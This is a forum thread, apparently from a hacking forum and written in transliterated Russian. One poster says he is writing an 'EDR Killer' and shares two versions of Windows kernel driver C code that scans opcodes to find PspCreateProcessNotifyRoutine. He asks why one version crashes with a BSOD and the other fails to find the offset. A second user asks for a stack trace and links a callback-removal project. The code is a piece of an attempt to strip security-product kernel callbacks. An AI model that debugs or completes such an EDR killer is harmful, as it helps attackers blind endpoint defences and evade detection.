enum PsSetCreateProcessNotifyRoutine

[stomp]

delau EDR Killer, zashel v typik pri polychenii offsetov

ULONG64 FindPspCreateProcessNotifyRoutine()
{
    LONG OffsetAddr = 0;
    ULONG64    i = 0;
    ULONG64 pCheckArea = 0;
    UNICODE_STRING unstrFunc;

    RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
    KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));

    for (i = pCheckArea; i < pCheckArea + 20; i++)
    {
        if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
        {
            OffsetAddr = 0;
            memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
            pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;
            break;
        }
    }

    KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));

    for (i = pCheckArea; i < pCheckArea + 0xff; i++)
    {
        if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
        {
            OffsetAddr = 0;
            memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            return OffsetAddr + 7 + i;
        }
    }
    return 0;
}

kod vzyal tyt: click

sobstvenno... lovlu bsod kogda vizivau ety funkciu... videl takyu zhe realizaciu tol'ko y kitaicev:

ULONG64 FindPspCreateProcessNotifyRoutine()
{
LONG  OffsetAddr=0;
ULONG64  i=0,pCheckArea=0;
UNICODE_STRING  unstrFunc;
//获得PsSetCreateProcessNotifyRoutine的地址
RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
pCheckArea = (ULONG64)MmGetSystemRoutineAddress (&unstrFunc);
//获得PspSetCreateProcessNotifyRoutine的地址
memcpy(&OffsetAddr,(PUCHAR)pCheckArea+4,4);
pCheckArea=(pCheckArea+3)+5+OffsetAddr;
DbgPrint("PspSetCreateProcessNotifyRoutine: %llx",pCheckArea);
//获得PspCreateProcessNotifyRoutine的地址
for(i=pCheckArea;i<pCheckArea+0xff;i++)
{
if(*(PUCHAR)i==0x4c && *(PUCHAR)(i+1)==0x8d && *(PUCHAR)(i+2)==0x35)  //lea r14,xxxx
{
LONG OffsetAddr=0;
memcpy(&OffsetAddr,(PUCHAR)(i+3),4);
return OffsetAddr+7+i;
}
}
return 0;
}

on bsod ne vidaet, no offset ne nahodit...
mozhet est' tyt znaushie?

 

[varwar]

Код ошибки и трассу вызовов в студию.

Посмотри еще тут https://github.com/NVISOsecurity/In...7fc/Interceptor/Interceptor/Callbacks.cpp#L38

 

[stomp]

Код ошибки и трассу вызовов в студию.

Посмотри еще тут https://github.com/NVISOsecurity/In...7fc/Interceptor/Interceptor/Callbacks.cpp#L38

glyany zavtra, spasibo!
polnost'u ne debazhil, tak chto oshibky ne mogy dat', no ya tak ponimau vo vtorom sluchae on prosto ne nahodit ykazannie bytes iz-za chego return 0